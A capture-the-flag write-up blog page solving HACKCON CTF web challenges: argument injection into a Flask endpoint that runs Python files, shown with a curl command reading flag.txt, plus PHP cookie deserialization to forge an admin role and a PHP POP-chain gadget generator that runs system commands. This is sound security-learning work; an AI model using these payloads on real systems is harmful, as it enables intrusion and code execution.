rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

HACKCON CTF


image


Challenges-:



Web


Processed Subscription


image


@app.route('/run_file', methods=['GET'])
def run_code():
    filename = request.args.get("code")
    if filename.endswith(".py"):
       response = subprocess.Popen(["python3",filename],stdout=-1).communicate()
       response =  response[0].decode()
       print(response)
    else:
        response = "Invalid file type"
    return jsonify({'result': response})

image

-c\neval(\"__import__('os').system('id')\")

image

curl -G https://chall1.pxxl.xyz/run_file -d "code=-c%0aeval(\"__import__(\'os\').system('cat%20flag.txt')\")%23.py"
{"result":"gdscCTF{l0l_tw34k1ng_withSubpr0c3ss}\n"}

Flask ain’t no Markup Language


image


x: ""

image

x: ""

image


Zeezy’s notes


image



Source Code Analysis (Privilege Escalation)


/ Check cookie
if (!isset($_COOKIE['APP_SESSID'])) {
    header("Location: login.php");
    exit;
}

// Decode + unserialize cookie
$data = unserialize(base64_decode(urldecode($_COOKIE['APP_SESSID'])),["allowed_classes" => ["User"]]);

// Safety check
if (empty($data->username) && empty($data->role)) {
    header("Location: login.php");
    exit;
}
$username = $data->username;
$role = $data->role;

// Verify username in DB
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute()->fetchArray(SQLITE3_ASSOC);

if (!$result) {
    header("Location: login.php");
    exit;
}

// Redirect admin
if ($role === "admin") {
    header("Location: admin.php");
    exit;
}
<?php
class User {
    public $username;
    public $role;

    // Constructor to initialize a new User object
    public function __construct($username, $role = "user") {
        $this->username = $username;
        $this->role = $role;
    }
}
?>
<?php
class User {
    public $username;
    public $role;
}
//Create a new object

$user = new User;
$user->username = "z";
$user->role = "admin";
$payload = urlencode(base64_encode(serialize($user)));
echo $payload;
?>

image

image


Remote Code Execution with a custom gadget


if (isset($_COOKIE['ADMIN_NOTES'])) {
    $notes = unserialize(
        base64_decode(urldecode($_COOKIE['ADMIN_NOTES']))
    );
    if (!is_array($notes)) {
        $notes = [];
    }
}

Building the POP chain


<?php
class Hidden {
    public $command;

    public function __construct($command){
        $this->command = $command;
    }

    public function __invoke() {
        echo system($this->command);
    }
}
?>
<?php
class Call
{
    public $called;
    public function __get($task)
    {
        ($this->called)();
    }
}
?>
<?php
class Work
{
    public $task;
    public function __toString()
    {
        $this->task->action;
    }
}
?>
<?php
ob_start();
class Note {
    private $title;
    private $content;
    private $createdAt;
    public $mystery;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
        $this->createdAt = date("Y-m-d H:i:s");
    }

    // Getters
    public function getTitle() {
        return $this->title;
    }

    public function getContent() {
        return $this->content;
    }

    public function getCreatedAt() {
        return $this->createdAt;
    }
    public function __destruct() {
        if (!empty($this->mystery)) {
            echo $this->mystery;
        }
    }
}
ob_end_flush();        
?>
public function __destruct() {
        if (!empty($this->mystery)) {
            echo $this->mystery;
        }
<?php
class Note {
    private $title;
    private $content;
    private $createdAt;
    public $mystery;

    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
        $this->createdAt = date("Y-m-d H:i:s");
    }
}
class Call
{
    public $called;
    public function __get($task)
    {
        ($this->called)();
    }
}
class Hidden {
    public $command;

    public function __construct($command){
        $this->command = $command;
    }

    public function __invoke() {
        echo system($this->command);
    }
}
class Work
{
    public $task;
    public function __toString()
    {
        $this->task->action;
    }
}
//Prepping up hidden
$hidden =  new Hidden('id'); //Tweak me
//Prepping up Call and passing hidden
$call = new Call;
$call->called =  $hidden;
//Prepping up Work and passing call
$work = new Work;
$work->task = $call;
//Prepping up notes and passing Work

$notes = new Note("pwned","pwned");
$notes->mystery = $work;

$payload =  urlencode(base64_encode(serialize($notes)));
echo $payload;
?>

image

image

image

image


Thanks for Reading!!!